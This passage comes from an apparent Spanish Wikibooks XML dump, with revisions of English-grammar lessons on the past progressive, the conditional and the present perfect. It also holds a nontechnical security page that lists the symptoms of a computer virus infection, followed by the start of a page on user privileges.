{{Ingléscolumnas|inglés=A sentence including a part in past progressive tense may also expresses that an activity was in progress at some point in the past. Example:

|español=Una oración que incluya una parte en tiempo pasado progresivo puede expresar también que una actividad estaba sucediendo en cierto momento en el pasado. Ejemplo:}}


{|{{Ingléstabla}}
|Last day at midnight, ''we were watching'' movies.
|}


{{Ingléscolumnas|inglés=A sentence may, of course, include two parts in past progressive tense when it is intended to express that two activities were in progress simultaneously. Example:

|español=Una oración puede, por supuesto, incluir dos partes en pasado progresivo cuando se pretende expresar que dos actividades estaban llevándose a cabo simultáneamente. Ejemplos:}}


{|{{Ingléstabla}}
|While I was working, ''you were resting'' worriless. 
|}


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>cu3iil4ticiopehy9p5zgdbqgrfizoz</sha1>
    </revision>
    <revision>
      <id>429909</id>
      <parentid>429804</parentid>
      <timestamp>2026-08-01T22:09:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429909</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2605" sha1="ipw45wbp0gh7pw377zq4p1whu8jsodo" xml:space="preserve">{{Ingléstitulo|title=Structure - Estructura}}


{{Ingléscolumnas|inglés=The structure of a simple sentence in past progressive tense is the following:

|español=La estructura de una sencilla oración en tiempo pasado progresivo es la siguiente:}}


{|{{Ingléstabla}}
|noun/pronoun + was/were + verb in progressive form.             &quot;was y were son complementos&quot;

|}


{{Ingléscolumnas|inglés=Examples:

|español=Ejemplos:}}


{|{{Ingléstabla}}
|I was walking.
|-
|You were eating.
|-
|She was thinking.
|-
|We were planning.
|-
|It was snowing.
|-
|The Moon was lighting.
|}


{{Ingléstitulo|title=Uses - Usos}}


&lt;center&gt;&lt;div style=&quot;width:600px; border:#99B3FF solid 1px&quot;&gt; 

&lt;div style=&quot;width:100%; text-align:center; background-color: #EAF4FF; border:#99B3FF solid 1px&quot;&gt;
'''Present Progressive:''' The action was in progress when another action occurred.
&lt;/div&gt;
&lt;/div&gt;
&lt;/center&gt;


{{Ingléscolumnas|inglés=Past progressive tense is usually used to communicate that an activity was going on when another action occurred. Example:

|español=El tiempo pasado progresivo es comúnmente usado para comunicar que una actividad estaba sucediendo cuando otra acción ocurrió. Ejemplo:}}


{|{{Ingléstabla}}
|When ''I was walking'' home, I saw my old friend John.
|}


{{Ingléscolumnas|inglés=''I saw my old friend John'' is the part in simple past tense, and ''when I was walking home'' is te part in past progressive tense. Another example is

|español=''I saw my old friend'' es una parte en tiempo pasado simple, y ''when I was walking home'' es una parte dependiente en tiempo pasado progresivo. Otro ejemplo es}}


{|{{Ingléstabla}}
|Because ''it was raining'', we could not go outside.
|}


{{Ingléscolumnas|inglés=A sentence including a part in past progressive tense may also expresses that an activity was in progress at some point in the past. Example:

|español=Una oración que incluya una parte en tiempo pasado progresivo puede expresar también que una actividad estaba sucediendo en cierto momento en el pasado. Ejemplo:}}


{|{{Ingléstabla}}
|Last day at midnight, ''we were watching'' movies.
|}


{{Ingléscolumnas|inglés=A sentence may, of course, include two parts in past progressive tense when it is intended to express that two activities were in progress simultaneously. Example:

|español=Una oración puede, por supuesto, incluir dos partes en pasado progresivo cuando se pretende expresar que dos actividades estaban llevándose a cabo simultáneamente. Ejemplos:}}


{|{{Ingléstabla}}
|While I was working, ''you were resting'' worriless. 
|}


{{AutoCat}}</text>
      <sha1>ipw45wbp0gh7pw377zq4p1whu8jsodo</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/El tiempo condicional</title>
    <ns>0</ns>
    <id>14613</id>
    <revision>
      <id>429812</id>
      <parentid>396768</parentid>
      <timestamp>2026-08-01T22:00:43Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429812</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="10976" sha1="cbfhe0xb6xzimdfsgyqsunzd1wkqig9" xml:space="preserve">==='''Condicional'''===

*El ''Condicional'' expresa un proceso puramente mental, es más, cabe decir que representa, lo que es imposible sea convertido en acción real. Estamos en el mundo del pensamiento, no en el mundo de la acción.
*La ''determinación de hacer'' - quien dice ''determinación'', dice también ''voluntad'', ''deseo'', ''propósito'' - la expresamos nosotros con el ''Modo Indicativo'' del verbo en sus tiempos en futuro.
*Recuerde que muchas veces nuestra ''determinación'' llega a tanto que consideramos el '''futuro como realizado:'''

*'''I am going to spend my holidays in Cabo San Lucas next Summer''' (Voy a pasar - pasaré - mis vacaciones en Cabo San Lucas el proximo verano)

*Estamos en el claro reino de la acción, allí donde nuestras palabras se traducen en actos. Viene a continuación el caso del futuro como simple porvenir, al que enunciamos cuando en nada depende de nosotros. Y recuerde que entonces tenemos:

*''Futuro expresando simple porvenir''

*'''SHALL''' (para la primera persona del singular y del plural)
*'''WILL''' (para la segunda y tercera persona del singular y del plural)

*''Futuro expresando voluntad de hacer''

*'''WILL''' (para la primera persona del singular y del plural
*'''SHALL''' (para la segunda y tercera persona del singular y del plural)


*(Añada a continuación de estos auxiliares cualquier verbo en infinitivo, sin '''to''' y tendrá en el primer caso mero futuro con lo que exprese el infinitivo utilizado y, en el segundo, una determinación, orden o promesa relacionada también con el infinitivo que utilice, en la mente del que habla.)
*En cualquiera de ambos casos, usted está ante un tiempo verbal que expresa '''acción realizable.'''

*El pasado es acción realizada. El presente, acción que se realiza. El futuro, acción que se realizará. El condicional no es nada de eso; es puro pensamiento, condicionado directamente por otra acción o referido indirectamente al pasado.

*¿Futuro en el pasado?
*Sí; en realidad, '''should''' y '''would''' vienen a ser las formas en pretérito de '''shall''' y '''will''', respectivamente. Con ellas expresamos :
*a) La acción del verbo que en el pasado fue enunciada en futuro, cuando es comentada en el presente.
*b) La acción del verbo cuando está condicionada por otra acción irrealizable, en el pensamiento del que habla.

*En el primer caso nos encontraremos generalmente con una '''relación indirecta''' entre lo que se dijo antes y lo que se dice ahora. Veamos un ejemplo:

*'''I shall write to my parents tomorrow''' (Escribiré a mis padres mañana).

*Cuando ayer dije estas palabras, expresé ''voluntad de hacer'' lo que dije, porque dependía de mí el poder hacerlo. Pero veamos ''hoy'' cómo expresamos la cosa:

*'''Yesterday I said that I should write to my parents today'''.


*El '''Condicional''' puede ser definido como la forma verbal que nos indica aquella acción, estado o existencia que en el pasado estaba en futuro y a la que nos referimos en el presente; nos indica también aquella acción, estado o existencia que no es posible convertir en hecho sin antes eliminar determinada ''condición'' -expresada o no- que impide tal cosa.

*Eso del '''Condicional''' es muy fácil en inglés. Y lo mejor de todo es que uno se ahorra un sin fin de preocupaciones, ya que el '''Condicional''' se resuelve en inglés con la misma fórmula usada para el futuro, es decir, mediante dos formas verbales auxiliares que asimismo son la forma en pasado y condicional de '''shall''' y '''will'''. Son éstas:

*'''SHOULD'''
*Nos sirve para la primera persona del singular y del plural. Es intraducible en español empleado como auxiliar.

*'''WOULD'''
*Nos sirve para la segunda y tercera personas del singular y del plural. Es intraducible en español como auxiliar. Usado con la primera persona (singular o plural) implica un sentido de ''voluntad de hacer''.


*Compare ahora un mismo verbo expresado en futuro y en condiconal:


*'''FUTURO'''


*'''I shall go''' (Iré)
*'''You will go''' (Irás)
*'''He will go''' (Irá)
*'''We shall go''' (Iremos)
*'''You will go''' (Iréis)
*'''They will go''' (Irán)


*'''CONDICIONAL'''


*'''I should go''' (Iria)
*'''You would go''' (Irías)
*'''He would go''' (Iría)
*'''We should go''' (Iríamos)
*'''You would go''' (Iríais)
*'''They would go''' (Irían)


*Cuando la acción '''DEPENDA''' de la voluntad del sujeto, utilice...

*En futuro: '''WILL'''
*En condicional: '''WOULD'''


*Cuando la acción '''NO DEPENDA''' de la voluntad del sujeto, utilice...

*En futuro: '''SHALL'''    '''WILL'''
*En condicional: '''SHOULD'''    '''WOULD'''


*Llevando las cosas al terreno de lo práctico, debemos recordarle el consejo que ya le dimos en ocasión de iniciarle en el conocimiento del futuro en inglés: Utilice '''will''' y no se preocupe.

*Todavía mas: Conoce usted ya las contracciones que se forman con los pronombres y verbos auxiliares. Sabe pues, que el símbolo 'll nos basta para indicar el futuro, como en

*'''I'll see you tomorrow''' (Te veré mañana)
*'''They'll come tonight''' (Vendrán esta noche)

*De manera que, ¿quién se atreve a asegurar que al decirlo hemos utilizado '''shall'' en lugar de ''will'''? Esto es evidente en el lenguaje hablado... y de lo que se trata es de hablar, y el inglés deja a criterio del que le escucha la interpretación del sentido que deba tener ese futuro expresado en lo que dice.


*Precisamente para simplificar las cosas se usa '''would''' para todas las personas del singular y del plural, dejando '''should''' para casos ''especiales''.
*En el lenguaje hablado, incluso esto tiene tendencia a desaparecer, al usar asimismo la contracción de esa forma verbal ('d).


*Veamos ahora qué nos dice la Grámatica. Para ello vamos a darle una ''Tabla de Conjugación'' del '''tiempo condicional''' de un verbo-patrón, el cual desarrollaremos conforme a todas las posibilidades que da de sí el ''Condicional'', y que son las siguientes:

*a) Condicional simple
*b) Condicional continuo
*c) Condicional perfecto

'''To Love'''

*'''VOZ ACTIVA''' ('''Active voice''')
*'''MODO INDICATIVO''' ('''Indicative mood''')
*'''CONDICIONAL O FUTURO EN EL PASADO ('''Conditional or future in the past''') 

*''Simple'' (''Simple'')

*'''I should love''' Yo amaría, etc.
*'''You would love'''
*'''He would love'''
*'''We should love'''
*'''You would love'''
*'''They would love'''


*''Continuo'' (''Continuos'')

*'''I should be loving''' Yo estaría amando, etc.
*'''You would be loving''' 
*'''He would be loving'''
*'''We should be loving'''
*'''You would be loving'''
*'''They would be loving'''


*''Perfecto'' (''Perfect'')

*'''I should have loved''' Yo habría amado, etc.
*'''You would have loved'''
*'''He would have loved'''
*'''We should have loved'''
*'''You would have loved'''
*'''They would have loved'''


*''Going to'' 

*'''I was going to loved''' Yo habría amado, etc.
*'''You were going to loved'''
*'''He was going to loved'''
*'''We were going to loved'''
*'''You were going to loved'''
*'''They were going to loved'''


*'''Reglas relacionadas con el condicional'''

*Primer caso: Cuando la acción condicional sea negativa, la partícula '''not''' debe ir detrás del verbo auxiliar, o sea, entre éste y el verbo principal. Ejemplo:

*'''I should not go''' (Yo no iría)

*Segundo caso: Cuando la frase es interrogativa, se pone en primer lugar el auxiliar para el condicional; a continuación, el pronombre que corresponda y seguidamente el verbo principal. Ejemplo:

*'''Would you like to go to New York?''' (¿Te gustaría ir a Nueva York?)

*Tercer caso: Cuando la frase es interrogativo-negativa, el orden de los elementos de la oración es como sigue: Verbo auxiliar para el condicional; pronombre; negación '''not'''; verbo principal.

*'''Would you not like to come with us?''' (¿No le gustaría venir con nosotros?).

*Este tercer caso tiene una variante en el lenguaje hablado, si usamos la contracción. Recuerde que entonces la partícula negativa not se une al auxiliar formando una sola palabra, de manera que entonces tendremos: auxiliar para el condicional con not (en contracción); pronombre; verbo principal, y el resto de la oración interrogativa-negativa a continuación. Así:

*'''Wouldn't you like to speak English well?''' (¿No le gustaría hablar ingles bien?)

*Vea a continuación algunos ejemplos en los que se utiliza el condicional:

*'''John said that the train would arrive at 6 o'clock''' (John dijo que el tren llegaría a las seis).
*'''Mary told me that the shops would not be open on Sunday''' (Mary me dijo que las tiendas no estarían abiertas el domingo).
*'''The teacher said that there would be no classes next week''' (El profesor dijo que no habría clases la próxima semana).
*'''I asked him if I should see him next week''' (Le pregunté a el si le vería la semana próxima).
*'''He would come if you called him''' (El vendría si usted le llamara).
*'''I should be pleased if you came''' (Estaría complacido si usted viniera).
*'''If it rained I should stay at home''' (Si lloviera permanecería en casa).
*'''If he wrote to me, I should write to him''' (Si él me escribiera, yo le escribiría a él).
*'''If I had plenty of money I should not work''' (Si yo tuviera mucho dinero, no trabajaría).


*Como sucedía ya al tratar del ''Futuro'', la práctica, el uso del idioma, le conduce a uno a la consecuencia de que la Gramática está muy bien para ser desarrollada en los libros, pero cuando se trata de enfrentarse con un individuo que sabe inglés y al que hay que hablarle en su idioma, de muy poco sirven los libros. Entonces uno se despabila y se abre camino, con los oídos bien atentos... y cae en la cuenta de que ¡nada de '''should''' o '''would'''! ¡nada de seguir las normas que enuncia la Gramática!
*Exactamente. Gracias a la contracción ´d nadie se da por aludido y tanto puede decir u oír '''You would go''' como '''You should go''', pongamos por caso, pues al decir '''You´d go''' el interesado se entera y allá él con lo que piense.

*Por lo que a la primera persona (yo, nosotros) se refiere, '''would''' está a la orden del día. Ese '''would''' determina ''voluntad de hacer''. De manera que con '''would''' usted soluciona el caso, aun cuando quiera usarlo para la primera persona (singular y plural).
*Sólo ha de tener cuidado con '''should'''. Lo usará con la primera persona del singular y del plural unicamente. Esta forma verbal, usada con cualquier otra persona (segunda o tercera) pierde su sentido de auxiliar para el condicional y toma su significado de ''debiera''.

*Puede decirse, pues, que '''should''' expresa a veces ''obligación moral''.
*Cuando usamos '''should''' para la primera persona eso de la ''obligación moral'' queda un poco en el aire, puesto que es puramente mental y relacionada con nosotros mismos (el que habla).


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>cbfhe0xb6xzimdfsgyqsunzd1wkqig9</sha1>
    </revision>
    <revision>
      <id>429884</id>
      <parentid>429812</parentid>
      <timestamp>2026-08-01T22:09:02Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429884</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="10936" sha1="0dzilym9wfjm1ghuippedkpl2av9p8w" xml:space="preserve">==='''Condicional'''===

*El ''Condicional'' expresa un proceso puramente mental, es más, cabe decir que representa, lo que es imposible sea convertido en acción real. Estamos en el mundo del pensamiento, no en el mundo de la acción.
*La ''determinación de hacer'' - quien dice ''determinación'', dice también ''voluntad'', ''deseo'', ''propósito'' - la expresamos nosotros con el ''Modo Indicativo'' del verbo en sus tiempos en futuro.
*Recuerde que muchas veces nuestra ''determinación'' llega a tanto que consideramos el '''futuro como realizado:'''

*'''I am going to spend my holidays in Cabo San Lucas next Summer''' (Voy a pasar - pasaré - mis vacaciones en Cabo San Lucas el proximo verano)

*Estamos en el claro reino de la acción, allí donde nuestras palabras se traducen en actos. Viene a continuación el caso del futuro como simple porvenir, al que enunciamos cuando en nada depende de nosotros. Y recuerde que entonces tenemos:

*''Futuro expresando simple porvenir''

*'''SHALL''' (para la primera persona del singular y del plural)
*'''WILL''' (para la segunda y tercera persona del singular y del plural)

*''Futuro expresando voluntad de hacer''

*'''WILL''' (para la primera persona del singular y del plural
*'''SHALL''' (para la segunda y tercera persona del singular y del plural)


*(Añada a continuación de estos auxiliares cualquier verbo en infinitivo, sin '''to''' y tendrá en el primer caso mero futuro con lo que exprese el infinitivo utilizado y, en el segundo, una determinación, orden o promesa relacionada también con el infinitivo que utilice, en la mente del que habla.)
*En cualquiera de ambos casos, usted está ante un tiempo verbal que expresa '''acción realizable.'''

*El pasado es acción realizada. El presente, acción que se realiza. El futuro, acción que se realizará. El condicional no es nada de eso; es puro pensamiento, condicionado directamente por otra acción o referido indirectamente al pasado.

*¿Futuro en el pasado?
*Sí; en realidad, '''should''' y '''would''' vienen a ser las formas en pretérito de '''shall''' y '''will''', respectivamente. Con ellas expresamos :
*a) La acción del verbo que en el pasado fue enunciada en futuro, cuando es comentada en el presente.
*b) La acción del verbo cuando está condicionada por otra acción irrealizable, en el pensamiento del que habla.

*En el primer caso nos encontraremos generalmente con una '''relación indirecta''' entre lo que se dijo antes y lo que se dice ahora. Veamos un ejemplo:

*'''I shall write to my parents tomorrow''' (Escribiré a mis padres mañana).

*Cuando ayer dije estas palabras, expresé ''voluntad de hacer'' lo que dije, porque dependía de mí el poder hacerlo. Pero veamos ''hoy'' cómo expresamos la cosa:

*'''Yesterday I said that I should write to my parents today'''.


*El '''Condicional''' puede ser definido como la forma verbal que nos indica aquella acción, estado o existencia que en el pasado estaba en futuro y a la que nos referimos en el presente; nos indica también aquella acción, estado o existencia que no es posible convertir en hecho sin antes eliminar determinada ''condición'' -expresada o no- que impide tal cosa.

*Eso del '''Condicional''' es muy fácil en inglés. Y lo mejor de todo es que uno se ahorra un sin fin de preocupaciones, ya que el '''Condicional''' se resuelve en inglés con la misma fórmula usada para el futuro, es decir, mediante dos formas verbales auxiliares que asimismo son la forma en pasado y condicional de '''shall''' y '''will'''. Son éstas:

*'''SHOULD'''
*Nos sirve para la primera persona del singular y del plural. Es intraducible en español empleado como auxiliar.

*'''WOULD'''
*Nos sirve para la segunda y tercera personas del singular y del plural. Es intraducible en español como auxiliar. Usado con la primera persona (singular o plural) implica un sentido de ''voluntad de hacer''.


*Compare ahora un mismo verbo expresado en futuro y en condiconal:


*'''FUTURO'''


*'''I shall go''' (Iré)
*'''You will go''' (Irás)
*'''He will go''' (Irá)
*'''We shall go''' (Iremos)
*'''You will go''' (Iréis)
*'''They will go''' (Irán)


*'''CONDICIONAL'''


*'''I should go''' (Iria)
*'''You would go''' (Irías)
*'''He would go''' (Iría)
*'''We should go''' (Iríamos)
*'''You would go''' (Iríais)
*'''They would go''' (Irían)


*Cuando la acción '''DEPENDA''' de la voluntad del sujeto, utilice...

*En futuro: '''WILL'''
*En condicional: '''WOULD'''


*Cuando la acción '''NO DEPENDA''' de la voluntad del sujeto, utilice...

*En futuro: '''SHALL'''    '''WILL'''
*En condicional: '''SHOULD'''    '''WOULD'''


*Llevando las cosas al terreno de lo práctico, debemos recordarle el consejo que ya le dimos en ocasión de iniciarle en el conocimiento del futuro en inglés: Utilice '''will''' y no se preocupe.

*Todavía mas: Conoce usted ya las contracciones que se forman con los pronombres y verbos auxiliares. Sabe pues, que el símbolo 'll nos basta para indicar el futuro, como en

*'''I'll see you tomorrow''' (Te veré mañana)
*'''They'll come tonight''' (Vendrán esta noche)

*De manera que, ¿quién se atreve a asegurar que al decirlo hemos utilizado '''shall'' en lugar de ''will'''? Esto es evidente en el lenguaje hablado... y de lo que se trata es de hablar, y el inglés deja a criterio del que le escucha la interpretación del sentido que deba tener ese futuro expresado en lo que dice.


*Precisamente para simplificar las cosas se usa '''would''' para todas las personas del singular y del plural, dejando '''should''' para casos ''especiales''.
*En el lenguaje hablado, incluso esto tiene tendencia a desaparecer, al usar asimismo la contracción de esa forma verbal ('d).


*Veamos ahora qué nos dice la Grámatica. Para ello vamos a darle una ''Tabla de Conjugación'' del '''tiempo condicional''' de un verbo-patrón, el cual desarrollaremos conforme a todas las posibilidades que da de sí el ''Condicional'', y que son las siguientes:

*a) Condicional simple
*b) Condicional continuo
*c) Condicional perfecto

'''To Love'''

*'''VOZ ACTIVA''' ('''Active voice''')
*'''MODO INDICATIVO''' ('''Indicative mood''')
*'''CONDICIONAL O FUTURO EN EL PASADO ('''Conditional or future in the past''') 

*''Simple'' (''Simple'')

*'''I should love''' Yo amaría, etc.
*'''You would love'''
*'''He would love'''
*'''We should love'''
*'''You would love'''
*'''They would love'''


*''Continuo'' (''Continuos'')

*'''I should be loving''' Yo estaría amando, etc.
*'''You would be loving''' 
*'''He would be loving'''
*'''We should be loving'''
*'''You would be loving'''
*'''They would be loving'''


*''Perfecto'' (''Perfect'')

*'''I should have loved''' Yo habría amado, etc.
*'''You would have loved'''
*'''He would have loved'''
*'''We should have loved'''
*'''You would have loved'''
*'''They would have loved'''


*''Going to'' 

*'''I was going to loved''' Yo habría amado, etc.
*'''You were going to loved'''
*'''He was going to loved'''
*'''We were going to loved'''
*'''You were going to loved'''
*'''They were going to loved'''


*'''Reglas relacionadas con el condicional'''

*Primer caso: Cuando la acción condicional sea negativa, la partícula '''not''' debe ir detrás del verbo auxiliar, o sea, entre éste y el verbo principal. Ejemplo:

*'''I should not go''' (Yo no iría)

*Segundo caso: Cuando la frase es interrogativa, se pone en primer lugar el auxiliar para el condicional; a continuación, el pronombre que corresponda y seguidamente el verbo principal. Ejemplo:

*'''Would you like to go to New York?''' (¿Te gustaría ir a Nueva York?)

*Tercer caso: Cuando la frase es interrogativo-negativa, el orden de los elementos de la oración es como sigue: Verbo auxiliar para el condicional; pronombre; negación '''not'''; verbo principal.

*'''Would you not like to come with us?''' (¿No le gustaría venir con nosotros?).

*Este tercer caso tiene una variante en el lenguaje hablado, si usamos la contracción. Recuerde que entonces la partícula negativa not se une al auxiliar formando una sola palabra, de manera que entonces tendremos: auxiliar para el condicional con not (en contracción); pronombre; verbo principal, y el resto de la oración interrogativa-negativa a continuación. Así:

*'''Wouldn't you like to speak English well?''' (¿No le gustaría hablar ingles bien?)

*Vea a continuación algunos ejemplos en los que se utiliza el condicional:

*'''John said that the train would arrive at 6 o'clock''' (John dijo que el tren llegaría a las seis).
*'''Mary told me that the shops would not be open on Sunday''' (Mary me dijo que las tiendas no estarían abiertas el domingo).
*'''The teacher said that there would be no classes next week''' (El profesor dijo que no habría clases la próxima semana).
*'''I asked him if I should see him next week''' (Le pregunté a el si le vería la semana próxima).
*'''He would come if you called him''' (El vendría si usted le llamara).
*'''I should be pleased if you came''' (Estaría complacido si usted viniera).
*'''If it rained I should stay at home''' (Si lloviera permanecería en casa).
*'''If he wrote to me, I should write to him''' (Si él me escribiera, yo le escribiría a él).
*'''If I had plenty of money I should not work''' (Si yo tuviera mucho dinero, no trabajaría).


*Como sucedía ya al tratar del ''Futuro'', la práctica, el uso del idioma, le conduce a uno a la consecuencia de que la Gramática está muy bien para ser desarrollada en los libros, pero cuando se trata de enfrentarse con un individuo que sabe inglés y al que hay que hablarle en su idioma, de muy poco sirven los libros. Entonces uno se despabila y se abre camino, con los oídos bien atentos... y cae en la cuenta de que ¡nada de '''should''' o '''would'''! ¡nada de seguir las normas que enuncia la Gramática!
*Exactamente. Gracias a la contracción ´d nadie se da por aludido y tanto puede decir u oír '''You would go''' como '''You should go''', pongamos por caso, pues al decir '''You´d go''' el interesado se entera y allá él con lo que piense.

*Por lo que a la primera persona (yo, nosotros) se refiere, '''would''' está a la orden del día. Ese '''would''' determina ''voluntad de hacer''. De manera que con '''would''' usted soluciona el caso, aun cuando quiera usarlo para la primera persona (singular y plural).
*Sólo ha de tener cuidado con '''should'''. Lo usará con la primera persona del singular y del plural unicamente. Esta forma verbal, usada con cualquier otra persona (segunda o tercera) pierde su sentido de auxiliar para el condicional y toma su significado de ''debiera''.

*Puede decirse, pues, que '''should''' expresa a veces ''obligación moral''.
*Cuando usamos '''should''' para la primera persona eso de la ''obligación moral'' queda un poco en el aire, puesto que es puramente mental y relacionada con nosotros mismos (el que habla).


{{AutoCat}}</text>
      <sha1>0dzilym9wfjm1ghuippedkpl2av9p8w</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Presente perfecto</title>
    <ns>0</ns>
    <id>14614</id>
    <revision>
      <id>429808</id>
      <parentid>352564</parentid>
      <timestamp>2026-08-01T22:00:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429808</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1731" sha1="k6hip0tc9xn9rdqw3lxw85lx5elew7u" xml:space="preserve">Se llama en inglés '''''present perfect''''' aquel en que ''to have'', en presente, funciona como verbo auxiliar y va seguido de un participio pasado.

Expresa una acción que comenzó en el pasado y aún continua en el presente.

=== '''AFIRMATIVA''' ===

'''SUJETO + have / has''' (3ªpers.singular) '''+ participio del verbo'''

{| class=&quot;wikitable&quot;
|-
| I have played || Yo he jugado
|-
| You have played || Tú has jugado
|-
| He has played || Él ha jugado
|-
| She has played || Ella ha jugado
|-
| It has played || Eso ha jugado
|-
| We have played || Nosotros hemos jugado
|-
| You have played || Vosotros habéis jugado
|-
| They have played || Ellos han jugado
|}


''I '''have bought''' a new car''. / He comprado un coche nuevo.

''Tom '''has lost''' his walking stick, so he needs a new one.'' /  Tom ha perdido su bastón, por lo que necesitará uno nuevo.

''You '''have''' always '''said''' you were the best man in the world.'' / Siempre has dicho que eras el mejor hombre en el mundo.

''I'''´ve never''' bought a new car´´. / Yo nunca he comprado un coche nuevo.


&lt;big&gt;→&lt;/big&gt; '''Se usa''' para expresar una '''acción que ocurrió en el pasado''', '''pero es relevante''' a la hora de hablar.

{| class=&quot;wikitable&quot;
|-
| I have already seen it || Yo ya la he visto
|}


&lt;big&gt;→&lt;/big&gt; '''Se usa''' para una acción que '''acaba''' de ocurrir.


{| class=&quot;wikitable&quot;
|-
| I Have '''just''' seen the film || '''Acabo''' de ver la película
|-
| I've '''just''' bought a dress || '''Acabo''' de comprar un vestido
|}

==== '''INTERROGATIVA''' ====

'''HAVE / HAS + SUJETO + Participio del Verbo...?'''

{| class=&quot;wikitable&quot;
|-
| Have you eaten some pasta ? || ¿Tú has comido algo de pasta?
|}

{{AutoCat}}</text>
      <sha1>k6hip0tc9xn9rdqw3lxw85lx5elew7u</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/¿Cómo saber si estoy infectado?</title>
    <ns>0</ns>
    <id>14762</id>
    <revision>
      <id>429775</id>
      <parentid>429673</parentid>
      <timestamp>2026-08-01T21:33:02Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429775</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3710" sha1="m2udczru86jigf60hcq0ce14gkpz7p5" xml:space="preserve">==Introducción (breve historia) ==
Actualmente, los virus ya no son tan fáciles de detectar, ni tan fáciles de editar, en la época de los 80's, uno reconocía un virus porque no podías abrir tus archivos, te aparecían mensajes:

 ******************************************
 ***********I N F E C T A D O**************
 ******************************************

O si tenías dinero, con un editor veías el código de tu archivo y encontrabas su firma &quot;YOUR PC IS INFECTED&quot;... etc.
Pero esto fue significando que los usuario decían &quot;Ya estoy infectado... voy a borrarlo&quot;, por lo que fueron perdiendo fuerza, y debieron ser menos notorios.

Con el desarrollo de Windows, las cosas casi volvieron a ser iguales, nacieron los Virus de Macro que infectaban las plantillas de office, llegaban a formatear incluso los discos, agregaban notas a los documentos y eran igual de difíciles de borrar, pues todos los archivos de Word abiertos eran infectados, uno borraba la plantilla de 1 mega de tamaño y se creaba una limpia... que de nuevo era infectada.

Al mismo tiempo se desarrolló el internet, otro camino más para los virus, surgieron otras &quot;razas&quot; de virus  que infectaban documentos de texto y a la vez mandaban correo con Outlook, los troyanos, y recientemente el Spyware  tenían vestigios gráficos (pantallas) y de sellos de manufactura &quot;Hecho en Algolandia por cracker mig&quot;.

El Sasser y MyDoom en el 2004 marcan casi la nueva era de virus para XP, introduciéndose por agujeros de seguridad y sobrecargando las redes.

Ya en el 2006, se desarrolló otra amenaza más peligrosa que es el phishing o pesca, que es el robo de contraseñas, no necesariamente debe de ser por aplicaciones, desde una página mal tecleada a una vulnerabilidad en el navegador.


Con todo esto, revisar una computadora requiere mucha dedicación.

=Detección=
Primero: Mi máquina se pone muy lenta, se ha reiniciado o me sacó una pantalla espantosa.

===Preguntas===
====¿He perdido archivos?====
Lo importante, ¿se me han desaparecido mis documentos?

====Mi antivirus ya no existe====
&quot;Buscando programa Antivir.exe&quot; me aparece cuando trato de correr mi antivirus, no están sus carpetas ni se ha actualizado

====Ya no puedo abrir ciertos tipos de archivos====
Pues eso, un día escuchas música y hoy no, o de repente no puedes abrir tus aplicaciones y al buscarlas, no existen.

====No puedo ejecutar aplicaciones del sistema====
ALT+CONTROL+Supr no responde, ScanDisk o algun parecido no responde, etc.

====Cada vez que inserto una memoria externa como un disquette, aparece un archivo que no he colocado====
La memoria de mis discos se reduce cuando los conecto, aparecen aplicaciones. El floppy revisa cada cierto tiempo la existencia de disquettes y si hay uno escribe algo en él.

====Tengo un nuevo antivirus o mata spyware!!!====
Eso es otra cosa, vease Spyware.

====Me aparece un mensaje cuando hago algo====
Ya sea uno con propaganda con protestas o del tipo &quot;Acerca de&quot;

====He recibido correo con aplicaciónes====
Uno recibe un correo con un ícono conocido, pero con extensión distinta y que no hace nada de lo que se promete en el mensaje.

====Mis archivos de Office cambian====
Obtienen comentarios de desconocidos, su formato cambia aleatoriamente o se firman por alguien que yo no soy.

====Aparecen ficheros ajenos====
Archivos con nombres que desconozco y con extensiones .pif o .scr.

====Imágenes feas====
Imágenes que te asustan, nada más.

====El Messenger manda un mensaje a todos mis conectados, e incluso bloquea mi ventana====
Curiosamente, un amigo mío me mandó el mismo mensaje.

Si se siente descrito en una pregunta, considérese infectado.

{{AutoCat}}

{{AutoCat}}</text>
      <sha1>m2udczru86jigf60hcq0ce14gkpz7p5</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad Informática/Usuario</title>
    <ns>0</ns>
    <id>14763</id>
    <revision>
      <id>429777</id>
      <parentid>422524</parentid>
      <timestamp>2026-08-01T21:33:17Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429777</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1275" sha1="18xdkjmbjzru0wze16se2c6dkda8cpp" xml:space="preserve">La seguridad de la información es proteger la integridad de los usuarios que mantengan información en cualquier sistema de tecnología.

== Usuario: Primer riesgo ==
Sin importar que sistema operativo use, cualquier usuario con derechos de administrador... puede arruinar un equipo, pero Windows es el que más daño sufre, pues un usuario con derechos de administrador puede borrar todo su disco duro.

Debido a esto, algunos sistemas (entre ellos, Linux) hacen una especie de &quot;lote&quot; del usuario: La carpeta ''Home'', de ella, para afuera, el usuario no puede modificar nada, a menos que inicie sesión como ''root'' (o super usuario)... y ahí comienzan los problemas:

